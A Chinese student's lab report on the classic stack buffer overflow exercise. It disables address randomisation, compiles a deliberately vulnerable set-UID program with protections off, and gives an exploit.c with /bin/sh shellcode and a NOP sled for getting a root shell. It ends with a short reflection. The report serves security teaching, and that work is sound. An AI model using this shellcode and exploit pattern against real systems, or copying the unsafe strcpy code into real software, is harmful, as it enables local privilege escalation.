20165235 缓冲区溢出漏洞实验
缓冲区溢出漏洞实验
实验准备
因为实验环境需要32位的Linux系统，所以下载安装一些用于编译 32 位 C 程序的软件包，安装代码如下:
$ sudo apt-get update
$ sudo apt-get install -y lib32z1 libc6-dev-i386
$ sudo apt-get install -y lib32readline-gplv2-dev
实验步骤
初始设置
1.使用命令$ sudo sysctl -w kernel.randomize_va_space=0来关闭地址空间随机化。
2.用另一个 shell 程序（zsh）代替 /bin/bash，代码如下：
$ sudo su
$ cd /bin
$ rm sh
$ ln -s zsh sh
$ exit
如下图：
3.输入命令linux32进入32位linux环境输入，/bin/bash使用bash.
shellcode
1.缓冲区溢出会造成程序崩溃，在程序中，溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址，那么程序就会跳转到该地址，如果该地址存放的是一段精心设计的代码用于实现其他功能，这段代码就是 shellcode.如下代码：
#include <stdio.h>
int main()
{
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}
漏洞程序
1.在 /tmp 目录下新建一个 stack.c 文件,如下：
$ cd /tmp
$ vi stack.c
2.输入如下代码：
/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
3.通过代码可以知道，程序会读取一个名为“badfile”的文件，并将文件内容装入“buffer”。编译该程序，并设置 SET-UID。命令如下：
$ sudo su
$ gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
$ chmod u+s stack
$ exit
GCC编译器有一种栈保护机制来阻止缓冲区溢出，所以我们在编译代码时需要用–fno-stack-protector 关闭这种机制。 而 -z execstack 用于允许执行栈。
攻击程序
1.我们的目的是攻击刚才的漏洞程序，并通过攻击获得 root 权限。在 /tmp 目录下新建一个 exploit.c 文件，输入如下内容:
/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[] =
"\x31\xc0" //xorl %eax,%eax
"\x50" //pushl %eax
"\x68""//sh" //pushl $0x68732f2f
"\x68""/bin" //pushl $0x6e69622f
"\x89\xe3" //movl %esp,%ebx
"\x50" //pushl %eax
"\x53" //pushl %ebx
"\x89\xe1" //movl %esp,%ecx
"\x99" //cdq
"\xb0\x0b" //movb $0x0b,%al
"\xcd\x80" //int $0x80
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??"); //在buffer特定偏移处起始的四个字节覆盖sellcode地址
strcpy(buffer + 100, shellcode); //将shellcode拷贝至buffer，偏移量设为了 100
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
2.在我们要得到 shellcode 在内存中的地址,把shellcode的地址填充到\x??\x??\x??\x??中，命令：$ gdb stack ,$ disass main,得到如图所示：
然后接着调试，得出str首地址
攻击
先运行攻击程序 exploit，再运行漏洞程序 stack，观察结果：
实验感悟
本次实验成功的关键是猜测内存地址，所以首先要关闭这部分功能。缓冲区溢出会造成程序崩溃，溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址，那么程序就会跳转到该地址，如果该地址存放的是一段精心设计的代码，即可以使用这段代码进行缓冲溢出攻击。实验中学会了使用gdb 调试指令 disass main来获取str首地址，这是以前所从未了解到的。
